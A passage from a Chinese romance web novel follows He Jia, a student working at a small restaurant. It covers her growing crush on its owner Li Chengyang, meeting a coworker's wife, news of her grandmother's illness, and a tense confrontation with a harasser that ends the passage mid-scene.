何嘉被他绕进去,急忙摇头:“不对不对,总之就是,老板你一点都不老,你看上去很年轻的。”
他终于“嗯”了一句,眼里多了一层笑意。
何嘉这才意识到他在逗自己玩儿呢。
他看她反应过来,再灌了一口啤酒,全身的皮肤都变成粉红色。
何嘉不自觉往他那儿瞅。
温暖的光线洒在他身上,他的四周笼罩一层毛茸茸的辉光。而他嘴角微勾,喉结滚动几下,没忍住发出几声沉沉的笑。
何嘉看见他的脸颊浮现出两个不明显的酒窝,和平时沉默的模样大相径庭。
此刻的他看上去温柔、随和。
他就像是,像是,是什么?何嘉不知道。
她只知道自己正傻傻地望着他,突然想到远在北美洲的蝴蝶谷。
蝴蝶们会在每年的11月迁徙到此处,数亿只蝶翼结成浩瀚的云海,在跨越五千公里的旅途中翩翩起舞。
而现在,那些蝴蝶尽数飞涌进她的胃里。
她理解了“Butterfliesinherstomach”的意思。
意味着七上八下,也是心脏猛烈跳动。
是蝴蝶在她的胃里翩翩起舞。
何嘉的视线仍旧落在他脸上,李成杨却垂眼一眨,像是在问她:怎么了?
她低头,几缕碎发从肩头滑落,盖住了她泛红的耳朵。
她要尽力忍住脸上的绯色,就只能埋头吃口炒粉。
他不语,拿起啤酒示意张壅碰杯。
张壅暗自微笑,这一次什么也没说。
两人的酒瓶在空气中发出一声清脆,撞在何嘉的神经上,手忙脚乱、措手不及。
空气里有了隆冬的味道,像是火柴燃烧的气息,是树枝被风吹得沙沙作响,还有一阵腊梅花香。
一切平淡玄妙的意向,都勾勒着余川的一举一动,每一分出乎意料都昭示着有什么正准备破土成长。
这就是冬天的美妙。
11. 第11章
酒过三巡,要说的话变得更多。
李成杨和张壅继续聊天,有时候聊工作的事,有时候聊以前的故事。
何嘉独自回到二楼的房间休息。
暖气将整个房间烤得暖洋洋的,完全隔绝室外的冷空气。
靠墙的小床还铺着她初次留宿的深灰色床单,她将自己裹进被子里。
一点点不属于她的气息,像柠檬混着咖啡的苦涩。
她想到他。
也许他前一段时间回到这里休息过。
她想到他刚才笑起来的样子,但是她觉得自己应该睡觉了。
那么她只将那瞬间的时间停滞归结于他长得实在英气。
星辰更替,这天她一夜无梦。
接下来的一周何嘉都在早上八点准时起床,简单洗漱后就开始写论文。
她找了很多文献来看,有时候还会收到导师的好几条建议,整个人忙得头晕目眩,连兼职的时候都心不在焉。
这天中午张姨提了一床厚被子来敲门。
“小嘉啊,我进来了哦。”
何嘉连忙给她开门,“张姨你怎么拿被子过来了啊?”
张姨自从知道何嘉在这儿住下之后,曾问过她好多次:你晚上冷不冷啊?一个人怕不怕有没有事啊?
由此何嘉跟她的关系也变得更亲近了。
这会儿她把被子放到何嘉的床上,说:“我那天就说你盖这么一床薄被子不行的,有空调也不顶事啊。”
何嘉帮忙整理那床厚被子:“太谢谢张姨了!麻烦你专门提过来呢。”
张姨摆摆手:“这不是我的被子哟,是今早成杨来店里放的,他让我帮忙拿给你。”
“老板?”何嘉顿了一下,“他怎么给我拿被子?”
张姨说:“他来的时候说上周好像就该给你拿了,但最近他们工作忙就搞忘了,这不今天突然想起来,一大早就拿过来了!”
何嘉想起来,那天他确实说过忘记给她买被子了。
只不过都隔了一周,他竟然还记得。
而且更让她没想到的是,他居然会将一句随口提到的话放在心上。
张姨看她傻站着没动,转身就帮她铺起被子,“你先盖这个,我看着是挺厚的,要是还不够的话你就跟我说,我家也有多的被子呢。”
何嘉加入她,朝她露出两个梨涡,“没事的张姨,我看应该是够的。”
“那就好啊,你晚上别冷着就行。”
“嗯嗯。”
铺好被子大概到了午市开张时间,两个人一边说话一边下楼。
一楼的圆桌旁多了个染着棕发的女人,她穿着一身雪白的羽绒服,但还是不及她白皙润的皮肤耀眼。
如果有仙子,那就是她的样子。
何嘉小心地打量她,她大约是察觉别人的目光,立马放下手机朝何嘉笑笑。
“Hello,你好啊。”
语调上扬,自信大气。
何嘉觉得她漂亮得实在挪不开眼睛,竟然不好意思和她说话。
她看出何嘉的腼腆,主动开启话题:“你是新来的兼职生吗?”
何嘉颔首,语气柔软:“是的。再过一会儿就一个月了。”
她指了指桌上的水果,“你吃苹果吗?拿一个吃吧。”
何嘉不动,只说:“谢谢,我不用的。”
张姨走过来提起那袋水果,替何嘉挑了一个又大又红的苹果。
“别客气啊,这是我们自己的水果。”
何嘉被她们的热情弄得不好意思了,连忙接过说:“谢谢张姨。”又对那个不认识的姐姐说:“谢谢姐姐。”
后者“噗嗤”一笑:“妹妹你好可爱啊,都多久没人叫我姐姐啦。”
张姨跟着她一起笑:“舒舒,你可别打趣人家,小嘉的脸皮薄着呢!”
她朝何嘉眨眼睛:“你叫小嘉呀?我能叫吗?”
何嘉红着脸说:“可以的。”
“嗯,小嘉妹妹。”
此时张壅从厨房出来,正好听到她的声音。
他猛地一个转身,往后厨走。
那个叫“舒舒”的姐姐立马上去拉住他的手,语气带着一点恼怒:“你想散伙是不是?多少天了都不回家是吗?吵架怎么了?你不会回来哄我一下吗?”
张壅立住不说话,她又转头向张姨告状:“妈,他都快一周没回家了。”
张姨向来觉得自己儿子不靠谱,再听这么一句话火气立马涌上来:“你最近没回家?!你一天你想干什么?你又到哪里混去了?!”
张壅面无表情,反手拉住舒舒的手,很平淡地说了句:“去外面说。”
站在一边的何嘉就这么看着他俩拉着手离开的场景,眼睛就要瞪到下巴下面去了。
张壅竟然,结、婚、了!
对象还是这么漂亮的一个姐姐?
原来那天吃宵夜的时候,他说大不了被骂一顿说的不是被张姨骂,而是被这个漂亮姐姐骂。
信息量一下子好大,何嘉反应不过来。
张姨看她震惊的模样,无奈地摇头说:“他俩是这样的,就是你舒舒姐姐那么好的姑娘,怎么就看上我那讨人嫌的儿子了,唉。”
何嘉不知道说什么,就不说话了。
五分钟过后,吧台的接单打印机传来一声:“xx外卖为您自动接单……”
何嘉扯下单子递进后厨,今天安叔休息那就意味着,只有张壅能炒菜。
于是她只好踏着沉重的步伐掀开门口塑料门帘,朝外弱弱地提醒:“壅哥,来单子了。”
与此同时,张壅正好将冉舒侧脸的碎发拢至耳后,他的脸上浮现一种类似于缱绻的温柔。而冉舒仰着头看他,眸子里又是责备又是赧然。
好吧。
何嘉悄悄将帘子放下,猜想晚两分钟应该也没关系。
好在张壅真的只用了两分钟,回来的时候两个人脸上都带着淡淡的微笑。
“何嘉,来几张单子了?”张壅走近后厨问她。
“就两张。”
“好嘞,”他的斗志高昂,“两张一起上!”
这就是爱的力量吗?何嘉偷偷抿嘴笑。
忙完一中午,一行人坐在吃饭的时候已经过了两点。
冉舒坐在何嘉旁边给她夹菜:“你看这个排骨你喜不喜欢啊?我觉得好好吃的。”
何嘉说:“谢谢。”
心想这一家人真的都好热心啊。
张壅对何嘉说:“这是我老婆最喜欢吃的哈,我平时只给她做,你今天能吃上算是走运了。”
“哈哈,”何嘉干笑,“你说得对。”
冉舒努努嘴,不理他:“小嘉妹妹,听说你晚上在这里住,没关系吧?”
何嘉回答:“没关系的,老板之前已经叮嘱过我很多次了,我把注意事项都记着呢。”
冉舒点头,“那就好,你要是缺什么和我们说,我们也可以帮忙的。”
“嗯嗯,谢谢。”何嘉一口啃完那块排骨。
她又想到什么,“感觉好久都没看到李成杨了,他最近在哪儿忙呢?”
何嘉以为她在跟自己说话,回答说:“他在学校快递站那边。”
冉舒说:“哦哦,原来你们挺熟的。”
何嘉迟疑了一下,他帮她好几次了,这算熟吗?
张壅趁机补充:“学生好像放寒假了吧,那边快递没多少。然后他们网点应该要把他调到西边某个小区去了,最近估计忙得要死。”
何嘉扒拉一口米饭,突然觉得他们应该不算熟了。
很多关于他的事情自己都一无所知。
冉舒继续啃排骨,“那找一天聚一下吧,都一两个月不见他人,
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不知道的以为他躲哪里发达去了。”
张壅说:“行,我到时候问他吧,等他不忙了再说。”
何嘉默默来了句:“原来你们三个都认识呀?”
张壅回答:“你舒舒姐和杨哥是大学同学。”
何嘉抬头看看冉舒又看看张壅,原来他们是姐弟恋。不过舒舒姐看上去既年轻又漂亮,甚至比张壅还要小一样。
“我和李成杨认识十年了吧,”冉舒指指身边的张壅:“我和张壅认识还是因为他呢。”。
张壅忍不住笑了:“跟你说啊小嘉,她当年想追李成杨室友,结果人家鸟都不鸟她,这不就被我捡漏了,笑死人了。”
冉舒狠狠在他肩膀上来了一拳,“你说什么呢你!我长这么好看怎么可能没引起别人的注意,那是我发现人家是个渣男主动放弃他了好吧!”
张壅吃痛,嗷了一声说:“是是是,是我记错了。”
“哼。”冉舒对他翻了个白眼,看向何嘉:“妹妹你以后不能找他这样的啊,一天都要气死人了,李成杨都比他靠谱多了。”
何嘉听见“李成杨”三个字,心脏跳动一下,她说:“我还早呢,不考虑这些。”
冉舒认同:“对的,还是不能太早结婚啊,人生太早就没乐趣了,我要再有机会我也跟李成杨一样,先不考虑结婚,一个人想干嘛干嘛。”
何嘉抓住这句话里的信息问到:“老板还没结婚吗?”
冉舒说:“他当然没结婚,可谓是方圆百里寸草不生。这十年好像都没听说有对象吧,结婚更不可能了。”
张壅赞同:“他那工作那么忙,晚上下班了还要回店里,哪有时间想这些。我看他也没那个心思,他就爱上班儿,还要同时上两个班儿,要不是我妈帮他看店,他一个人真忙不过来。”
张姨听见自己的称呼,忽然出来说:“他造孽哦,好好的小伙子本来前途很好的,就是他们家里拖累他了,现在是没什么牵挂了,就是一个人孤单。”
何嘉不了解这些,也不好贸然开口,只看见大家突然因为这句话变得低落了些。
冉舒放下筷子,语气可惜:“他当年在我们专业很优秀的,毕业那会儿校招,签了个很不错的公司,可惜最后没去。”
张壅也安静下来,“没办法吧,事情都遇上了,只是这么多年他确实不容易。”
“也是,发生这么个事儿他也没心气去考虑别的了,自己待着就挺好的,每天只顾上上班啊,累了回家倒头就睡。”
“挺好的,他自己也习惯。”
他们又接着聊了几句,但都并未提及那件发生在李成杨身上的事情。
何嘉就坐在他们身边,却觉得自己离他们很遥远。
十年对她来说是个很漫长的数字,那时候她还是个懵懂的小学生,无法理解他们语气里的惋惜。
现在她已经快大学毕业,却仍然无法看见落在他人人生中的某片尘埃。
她和他们不是同一阶段的人。她距离他,隔着邈远的距离。
也不知道为什么,从前她总觉得自己已经长大了,但此时此刻她心里生出一丝极其细微的落寞,是有关年龄的,也是有关阅历的。
但她还没有搞懂自己为什么会产生这样的情绪,她只在想,如果她现在和他们一样大的话,是不是就可以理解很多事情了?
“小嘉妹妹?”冉舒发现她在发呆,笑眯眯地问她:“怎么啦?对我们说的话题不感兴趣呀?那聊点别的吧。”
不。她只是因为有点太感兴趣了。
可她没这样回答,反而指着手边的苹果说:“没有的,我只是在想你刚才给我的那个苹果好大啊。”
冉舒笑意不减:“我现在在开水果店呢,你要是想找我玩了就来找我呀,我的店就开在这附近的。”
“好啊。”何嘉也朝她微笑,心情却一直平平的。
12. 第12章
冉舒吃过午饭就和他们告别了,走之前还不忘对何嘉说:“一定要来找我玩噢,我店里的水果随便你挑。”
何嘉很喜欢她,回答说:“好的,舒舒姐下次见。”
室内终于回归宁静。
何嘉摸出手机翻开通讯录,里面只躺着十多位联系人,这就是她这些年来唯一的人脉了。
往下滑了一页,停在那个属于李成杨的聊天框。
他们上一次的消息停留在一周之前。
何嘉想起最近他帮了不少忙,是不是得主动感谢一下。
于是她主动敲了一行消息。
何嘉:【老板,前几天谢谢你帮忙。】
对面隔了几分钟回复:【没事。】
她眼里闪过一瞬惊讶,继续打字。
何嘉:【我以为你现在在忙呢。】
李成杨:【忙过了。】
她忽然不知道该说些什么,但并不想结束这个话题。
想了想,思绪落在张壅之前的某句话上。
她问:【听说你最近不在学校那边工作了吗?】
这次对面没有回复。
她的消息像一颗石子跌进了大海,杳无音信。
怎么不回复了?
何嘉挠挠头,心里有些不安。
难道是自己问多了?或许他不喜欢别人问自己的事?
她又不是他的什么人,有什么立场问这些?
可是这个问题和他工作有关,应该也不太过分吧?
那为什么不回?不是说忙过了吗?
过了十多分钟,那边还是没有回复。
何嘉一下就有点后悔了。
她咬了咬嘴皮,心里陷入一种奇怪的眩晕。
她不该开始打探他的生活。
她最后决定放下手机,开始专注论文的事情。
可是盯着电脑心不在焉,手上有一搭没一搭地敲着键盘,删删改改不过写了两行字。
她的视线又落回手机上。
“叮咚——”
手机震动一下,发出悦耳的提示音。
何嘉立住不动,感觉心里生出一种怪异的紧张感。
她轻轻吸了一口气,拿起手机解锁。
对面回复了一句:【调走了,现在回去交接。】
她很快打字:【好的。】
丢下手机,何嘉脑海里多了一个念头。
她迅速穿好外套,朝身边打盹的张壅说了句:“我出去一趟。”
张壅小鸡啄米似地点头,“哦哦。”
饭店外面阳光和煦,吹了一点冷风但是比前几天气温高几度。何嘉拢了拢外套的领子,将脖子遮得严严实实。
她加大步伐,一路小跑停在一家便利店门口。
那里立着两个展示柜,何嘉拉开其中一个,视线在货架上扫视一圈,最后瞄准一瓶百岁山。
“老板,我拿瓶水——”她向里面喊道。
里头同样正在打盹的老板说:“你自己扫码付钱啊。”
何嘉扫了五块过去,拿着水继续小跑,忽然想到什么又折返回去,对里面的问道:“请问有笔吗?我想写点东西。”
那老板嫌烦,语气不客气:“你自己看看台子上有没!有就有,没有就算了。”
何嘉闻言找了找,摸到一只记号笔。潦草写了几笔又对里面说:“谢谢啊。”
老板不再理她。
她继续朝着目标小跑,一路上体温直线上升,甚至感觉背心的位置开始发热。
她没有停下来,反而在看到学校大门的时候弯了弯嘴角。
保安大叔看她着急的样子也没问她这是做什么,非常贴心地给她开门。
她不忘留下一句:“谢谢叔叔。”
抵达快递站的时候不过五分钟。
她拿着水停在门口喘气,整张脸都浮现出一抹明显的焉红。
冷风钻进她的喉咙里,让她忍不住“咳咳”两声。
两个男人的谈话被这声咳嗽打断,其中一个主动问她:“同学,你怎么了?有什么急事吗?”
何嘉咽下口水,觉得喉咙刺痛。她直起身对他摆手:“没事没事,就是刚才跑了几步路。”
另外一个男人闻言转身,一道熟悉冷冽的嗓音响起——
“怎么了?”
何嘉打了个激灵,直起身对上他的视线。
一周不见,他的面容没有任何变化,但神情却和夜宵那晚截然不同。工作时候的他一向都是这么专业有序,不会露出其他的表情。
“我没什么事,”何嘉被他看得不自然,装作大方地把水递到他面前,“顺手买的,给你喝。”
李成杨狐疑地盯着她:“给我喝?”
她生硬地解释:“来感谢你。”
他没接,反而问:“你又要感谢什么?”
“就前段时间的事。”她说得含糊。
“哦,你还挺有良心。”他想起她那些自成一派的规矩,指了指桌子:“放着吧。”
她颤着手将它搁置在上面,瓶身因为她手上的温度而泛起白雾,但很快就消失不见。
何嘉还站在他身旁,眸子有意无意瞟过他的侧脸。
李成杨和刚才的小哥继续讨论交接事宜,不再注意她。
她盯着他的睫毛,视线变得更大胆了些。
他的五官立体,本该是很锐利的长相,但是眉眼的墨色为他平添一份亲和力,只是不笑的时候,再也无人知晓他也会有酒窝,那样让人印象深刻。
或许是发觉何嘉还没走,他又打断正在交谈的话题,侧身转头问她:“还有事?”
何嘉猛然惊醒,摇着头说:“没有没有,我走了。”
他瞥见她脸上还未消散的绯红,提醒了句:“冬天跑步容易心梗。”
“?”何嘉瞪俩眼睛表示迷惑,怎么突然说这个?
他悠悠地说:“走回去,不赶时间就别跑了。”
她这才反应来,他原来将她刚才跑来的样子尽收眼底。
啊,有点狼狈,还有点羞耻。
她缓缓点头,只听他又慢悠悠地说:“命还是比水重要。”间断一秒又说:“免得有水送没命喝。”
何嘉被他的冷幽默逗笑,抿着嘴不让自己笑出来。
“笑什么,笑够了回去吧。”
“好。我回去了。”何嘉转过身同他挥手,眼睛笑盈盈的。
李成杨觉得她的笑容刺眼,索性转向身边的小哥不再回应。
新来的小哥拿起桌上的水,在空中摇一摇,调侃道:“哟,还是百岁山啊。”
李成杨“啧”一声,“怎么?没喝过?”
小哥假装将它揣在怀里,“行啊杨哥,你在这边干这么好,走了都被人惦记。”
“还行吧。”他不想再说这个话题。
小哥却兴致勃勃:“这同学挺大方的,要我送瓶怡宝算了,百岁山要贵三块呢。”
李成杨朝他伸手,手指颠了颠,“给我。”
“别啊,给我喝了呗。”小哥继续笑,不忘欠揍地说:“你说人家小妹妹怎么还专门来送个水呢?”
李成杨“咳”了声,大言不惭:“我宽宏仁爱。”
“喔,那我也‘宽宏仁爱’,怎么从来没人请我喝水。”
“你衰。”
“??”
李成杨不想跟他来回,突然松口:“你要喝就喝。”
小哥却又立马把水放下:“不了不了,人家专门买给你的,我哪好意思喝。”
“知道就好。”他将那瓶水拿起,一口气喝了半瓶。
视线突然被一抹黑色吸引注意。
那片黑色被水波盖住,像在微蓝的颜色中轻轻摇曳,有点看不真切。
他又猛喝几口,将剩下半瓶水喝尽,黑色逐渐清晰。
瓶底好像有字。
李成杨倒转瓶身,将瓶底翻转过来,目光落在那排黑色的小字上。
是“谢谢老板”。
这排小字字体遒劲,
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看上去很有风骨,应该在哪里都会被人夸着说“好字好字”,可他实在难将这份笔迹和某人的面容联系起来。
她总是唯唯诺诺,但凡是跟他多说几句话就会眼神躲闪。
但他又莫名想起初次见她那会儿,她一个人和两个男的对峙,甚至还划伤了其中一个男的两次。
想到这里,他嘴角向上小幅度上扬。他明白了,她确实和她的字一样棱角分明、百折不屈。
“诶,你看什么呢?”小哥凑到他身边想要一探究竟。
“没什么。”他蓦然转正瓶身,掩盖了那行小字。
“切。”小哥努嘴碎碎念道:“依我看啊,什么人能在你临走的时候还对你念念不忘啊?你知道吗?反正我知道。”
“什么?”
“对你念念不忘的人呗。”
“……”
“你别说啊,刚才那个小妹挺可爱的,就是年纪应该不大,要是……”
“别乱说。”他放好瓶子,给那人一个眼神。
后者还想说什么,但也只说了句“算了算了。”
瓶子就摆在他手边,他莫名将手掌压在瓶盖上,光滑的塑料磨过他的手心。
他想起她刚才跑来的样子,脸颊红扑扑的还喘着气,几根碎发在风里纷飞。这是怕来晚了赶不上见面吧。但是平时也不是见不到,怎么会这么着急?
又想几秒,突然灵光一现,难道是最近没回店里,小姑娘想催他发工资但又不好开口?
他明白了,她这是在点他呢。
于是他很沉重地摸出手机,找到刚才和她聊天的对话框之后一口气转了三千五过去。
手机这边的何嘉刚坐下准备写论文,被这条消息惊得倒吸一口凉气。
她难以置信地问他:【老板?为什么给我转钱?】
他打字:【发的工资。】
但看她质疑的样子又纳闷,不难道不是为了催他发工资?
何嘉迷惑,这也没到发工资的时间啊,而且为什么发了三千五过来?
她说:【老板,还没有到发工资的时间,你记错了吧。】
又补充:【一个月是两千,没有这么多的。】
他倒是不记得她到底哪天来的了,况且最近又忙,感觉时间过了不少。
至于那三千五,他只说:【没多,算了中午的时间。】
何嘉捧着手机发愣,当时不是说好了住店里的话中午也上班,但工资不变。
她思索一会儿,编辑了一段话:【老板,你能同意我住店里我已经很感激了,你不用再给我中午的工资,我中午上班就当是抵了晚上的房费了。谢谢你。】
李成杨懒得跟她长篇大论的,回答:【工作多久就拿多少,该你的不会少。】
她还是僵持着没收。
他又说:【我也不是那种苛刻员工的人吧?】
何嘉说:【不是。】
那不就得了。
他催促:【收了吧,提前发了。】
何嘉怀疑:【老板,你要做慈善吗?】
李成杨笑了:【三千五也算慈善?】
何嘉:【可是我还欠你不少钱呢,现在还住在你店里,欠你太多了。】
他叹了口气,敲了一行字:【没事。才出社会都不容易。】
何嘉明白了,老板这是在体恤她,把她当成晚辈了。
她需要思考一下该怎么回复,他却接着说:【明天回来吃饭,跟张壅说一声。然后把钱收了。】
她只能说好,隔了几分钟之后还是按了收款键。
看着余额多了三千五的时候,何嘉心头有种说不出来的充实。
这份兼职比她以前干过的所有工作都要好,除了饭点的时候忙,其他时间很清闲,而且还有这么一群相处和睦的同事。
她不能奢求更多了。
只是她突然又想到他的侧脸。他的眼尾轻轻上挑,嘴角那颗棕色的小痣总是若隐若现。
放下手机,她不禁抿嘴微笑。
13. 第13章
第二天是个周末,来饭店堂食的客人激增,何嘉从中午忙到傍晚,根本来不及喝水。
蒋姨和她一样,不是在收桌子就是在洗碗的路上。
她帮着蒋姨一起搓盘子,手上快得要擦出火星子。
蒋姨腼腆地说:“小嘉,劳慰你了啊。”
这声“劳慰”不同寻常,将她一瞬间拉回某个炎热的夏天。
那时候她还和阿婆住在一起,王丽琼隔三差五就叫卖桶装矿泉的大爷上来送水,每次结束后她都会说:“哎呀劳慰你上来一趟,谢谢喽!”
对方大手一摆:“劳慰啥子嘛,轻松得很。”
何嘉从语境猜出这是麻烦别人后的感谢用语。
但她当时不理解,还问过王丽琼:“阿婆,劳慰是啥子意思?”
王丽琼回答:“‘劳慰’就是尊重其他人的付出,别人帮了忙就叫‘劳慰别个’,你要尊重别个的劳动成果,晓得不?”
小小的何嘉当时只知道懵懂点头。
后来长大了,何嘉在欧阳修的《与尹师鲁书》中读到这个词,她觉得“劳慰”这样的词是很书面的,所以还是不懂为何方言里会有这样的用语。
但谁说方言就一定是土的?方言一样可以蕴含着一方道不尽的风土人情。
在这里,下雨叫做“落雨”,衣服叫做“衣裳”,做好事情称为“归一”,安静也可以是“清风雅静”。
只是现在老一辈变少了,年轻的一代不再流行这么说。
如果可以的话,她真想王丽琼能好起来,可以再对她解释几个这样有趣的词语。
然而渐渐,时常恍惚,日子早已并非当年。
“没事的蒋姨,”何嘉从失神中抽身,将盘子稳稳放在一旁,“我们一起洗要快一些呢。”
蒋姨笑着:“好,一起做。”
时间快要八点的时候几桌客人陆续离开,桌面上杯盘狼藉,一旁堆着几堆吃过的鱼骨。
青花椒的香气弥漫在空气里,闻起来辛辣但更多的麻味。
何嘉一手拿着垃圾桶,弯腰把桌上的残羹全都扫到里面,手上沾着一圈油腻。
这时她的手机在衣服里震动几下,发出微弱的铃声。她找了张帕子潦草地擦了下手,按下接听。
“喂?林阿姨?”
林桂兰开口的时候语气低落:“小嘉,这几天你阿婆状态不好,身体越来越僵,我猜应该是没知觉了。”
何嘉的脑子里闪过一瞬白光,呆呆地问:“她现在白天还能醒多久?”
“……两三个小时吧。”林姨无奈道。
数着时间,王丽琼从全身巨痛到毫无知觉,走了整整十一年。
何嘉已经做好了心理准备,只是不知道这天来得这么突然。
她一个人站在饭厅中央,看身边的顾客起身又坐下,所有人都在忙着手上的事,只有她背影孤寂,没有方向。
“我妈回去看她了吗?”她尽量忍住声音里的无助,垂在空中的指尖发凉。
林姨想宽慰她:“你妈妈一早就说隔两天就回来看她,这边有我们你也不用太担心。老太太虽然没知觉了,但是各项指标还在正常范围内,没有太大问题的。”
她仰着头,视线落在白花花的房顶:“我想找个时间回来看看阿婆。”
林姨说:“回来好,你挑个空了的时间回来看看吧,到时候和你妈也好好见见。”
“嗯。”何嘉其实并不想见她。
林姨叮嘱她:“你这两天好好的啊,你一个人在外面只能靠自己,有什么事先忍忍,一定要保证自己的安全。”
何嘉心里一沉,哑着声音说:“好。”
挂断电话,她的指尖又触摸到桌上的油渍,这次好像怎么擦都擦不掉。
她的余光瞥到墙上的时钟,八点一刻,还是上班时间。她朝着天花板眨眨眼睛,她得将那些不属于这个饭店的情绪全都收好。
“蒋姨,有没有干净的抹布啊?”何嘉拿着用过的抹布走近厨房,蒋姨替她找了一块洗过的洗碗巾。
她沉默地擦了擦手,一旁切菜的张壅抬头问她:“怎么了?”
她只回答:“没事。”
张壅向外指了指:“没事那就帮我拿一下外面的单子吧。”
何嘉向外走去。
几乎是同一时间,大门口的迎客铃响起——
“欢迎光临,里面请。”
几个五大三粗的男人叼着烟往里走,选了一张大圆桌坐下,厅内顿时被他们占满。
何嘉递了单子之后立马接了壶水,拿上几个玻璃杯朝他们走过去。
一时间乌云密布,烟味熏得她头疼。
她忍着不适对其中一位说:“您好,这边帮忙上茶。”
那人抬头看她,眼里满是戏谑:“真有眼力见啊,这么久不见一下就能把我认出来。”
何嘉打量他一眼,啤酒肚、秃头男,满脸的横肉。
她确实做梦都忘不了他,因为这就是那天把她搞进派出所还赔了三千块的秃头男!
怎么还正好从他开始上茶,她刚才完全没注意是他。
何嘉神经紧绷,端着茶壶后退,其余几个抽烟的男人眯着眼打量她。
她想叫人,但还没来及叫就被秃头男喊住:“跑啥啊!怎么的你们开饭馆还不招待顾客了?”
她压住心里的不安说:“不是的,我想换一壶水过来。”
秃头男讥笑:“呵呵,我还以为你被吓破胆了就要跑!你也不用慌,我们哥几个今天就是来吃饭的,你好酒好菜端上来就行了!”
何嘉不相信他说的话,还是后退。
秃头男面色一下暗淡下来,指着自己的水杯说:“倒水。”
何嘉的心脏怦怦直跳,颤着步子朝他靠近。
他故意将杯子滑远,滑到何嘉根本碰不到的位置。
她心里更慌,站在一边不动。
秃头男翘起二郎腿,一手指着杯子:“你今天把这水给我倒了,好好倒了我们就点菜吃饭,你不倒那大伙儿就看着。”
他身边的男人抖了抖烟灰,其中一小簇滚落到她的脚边。
“不好意思,我替您换一壶吧,这壶有点冷了,我去换热一点的。”
“别啊,我们哥几个看这壶挺好的。倒水。”
她端着手里的水壶,指尖因为用力而泛出白色。
秃头男睨见她的动作,冷笑一声:“咋地?你这是又要泼我?又想赔三千?我怕你这次赔不起三千的吧?”
何嘉怔住,猛然想起刚才的电话里林姨还叮嘱她要好好的。
要忍忍,先保证自己的安全。
她被一群恶人盯着,她没有办法。
轻轻呼了一口气,何嘉指尖稍微卸力,整个人朝前走了两步,停在桌子前。
那个杯子被他推到圆桌中心,如果不俯身根本就够不着。
可是俯身的话,哪里都会难堪。
他想刁难她,她什么都知道。
秃头男看出她的迟疑,催促道:“快点儿的!还吃不吃饭了!”
何嘉太阳穴突突地跳,看他这副样子,如果不倒水的话可能又会在店里闹起来。
于是她无奈地闭了闭眼,整个人朝前倾身,身后被几双不善的眼睛盯着。
就在她快要够着那个杯子时,她突然感觉有什么东西正在靠近她的腰部,但是一个熟悉又踏实的声音响起——
“何嘉,过来。”
她立马回头,余光瞥见秃头男的脏手停在空中。
而她身后,是李成杨皱着眉头的脸。
他咬着牙关,薄唇紧抿在一起,眼里喷薄的戾气冲出重围,像要攻击每一个在场的人。
他在生气。
秃头男见他来势汹汹,只好果断收手,嘴里“啧”了几声。
李成杨根本没把他放在眼里,视线一直落在何嘉脸上。
“过来。”他又重复一遍。
何嘉放下水壶,在众人的目光中走向他。
厨房忙碌的张壅听见不对,往外打探一眼之后看见李成杨的黑脸,也便低下头没再多管。
就让他去保护她吧。
李成杨将她挡在身后,对秃头男语气不善:“想干嘛?吃饭?找茬?还是打架?”
秃头男本来被他的出现唬了一跳,却很快镇定,甚至和同行人互相对视,最后乐呵一笑。
“吃饭啊,上饭馆不得吃饭嘛?到是你,你谁啊?老板啊?你这什么语气?要打架还是要赶人?”
李成杨也笑了,眼神十分不屑,“你刚才想干嘛?欺负姑娘是吧?你自己看店里多少监控?”
他不忘伸手一指,随意落在房间的墙角。
秃头男顺着看去,果然多了几个崭新的监控。
“监控怎么了?”秃头突然站起来朝他走近,左手弹了弹烟灰,“你哪只眼睛看到我欺负她了?”
何嘉听见他提到自己,有些不安地攥了攥李成杨的衣角。
李成杨也朝前走了一步,低着头睥睨他:“有没有,监控清清楚楚。”
空气里弥漫着一股火药待发的气息,所有人的心脏都被这份压抑紧攥。
秃头男将香烟深吸一口,抬头尽数呼在李成杨脸上。
他又上前一步,一字一句道:“怎么?你他妈说是就是?你丫的还诽谤是吧?”
李成杨后顶牙关,全身的肌肉紧绷。
秃头男将烟灰弹到他脸上,又低头戳了戳他胸前的工服标志,语气掩盖不住讥讽:“他妈的,你一个送快递的硬气什么?老子把你店掀了信不信?”
躲在他身后的何嘉猛然皱了皱眉毛,这句话恶意十足,让她产生了一种巨大的愤怒。
送快递怎么了?送快递的就不可以硬气了吗?送快递的碍着你了?自己也不瞧瞧自己什么傻样,瞧不起谁呢?!
她感觉李成杨的手臂正在蓄力,只需要理智稍微出逃,这个拳头就会落在对方脸上。
秃头察觉他的意图,故意再激他一句:“打人啊?来啊?狗日的,不怕抓进去坐牢你就来啊,老子倒要看看
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你今天打不打!”
桌子上坐着的几个男人纷纷起立,场面胶着起来,只需半秒就要断线。
沉默。两方的势力都将在沉默中爆发。
何嘉甚至能听见李成杨的呼吸声变重。
“你到底要干嘛啊!”
电光石火之间,何嘉突然朝秃头嘶吼了这么一句。
她从李成杨身后跳出来,直直横在他身前,右手不忘紧握住他的手腕,像在安抚他别动。
李成杨感觉一阵温热穿过外套,一直烫到他心上,他太久没有感受过这样坚定的温度,竟然有些不合时宜地怔住了。
挡在他身前的何嘉比他矮了一个头多点儿,他甚至能看到她后脑勺的发旋正在微微发抖。
可她表现得十分坚毅。
现在是她,要保护他。
何嘉恶狠狠地盯着秃头男,语气全然不似最初的害怕。
“你刚才又想摸我是吧?!你他爹的为什么总逮着我不放?闹了一次还想闹第二次?我告诉你,店里到处都是监控!你刚才怎么刁难我的,还有你怎么挑衅我老板的都录得清清楚楚!你要找事是吧?啊?是不是?!你是不是要找事?!!”
说这么一段话,大气也不带喘一下,她的语气尖利逼人,把在场的人都骂愣住了。
秃头男没想到她居然有这样的架势,整个人向后退了半步。
何嘉威逼上前,左手指着他的眉心:“你要干嘛?你说啊!你今天来干嘛?!”她还不忘指了指他身后的几个男的:“你们今天到底来干嘛!!”
她气血上头,骂得张牙舞爪,不知道从哪张桌子上摸起一把水果刀抵在胸前:“是不是要找事?!是不是要打架?!是想见警察还是想死?!!”
李成杨没想到她拿了刀,反手又握住她的手腕,生怕她真的做出冲动的事。
她腕上传来一阵温暖,心里更有力量了。
“你们一天不找事是不是会死!”何嘉继续骂,“要吃饭又不吃就知道挑事儿!我看你们这种人就该一辈子吃牢饭!”
此刻厨房里的张壅也突然冲出来,手上还拿着切菜的大菜刀。
他跟何嘉站在一起,语气咄咄逼人:“我操,老子在里面忍你们几个老头儿很久了,狗日的今天是不是要拼命?”
秃头男被他们手上的两把刀晃了眼睛,气势一下子矮了一截,“你们怎么?要杀人是不是?”
他身后的一行人见着状况不对,主动戳了他一下,暗示他算了。
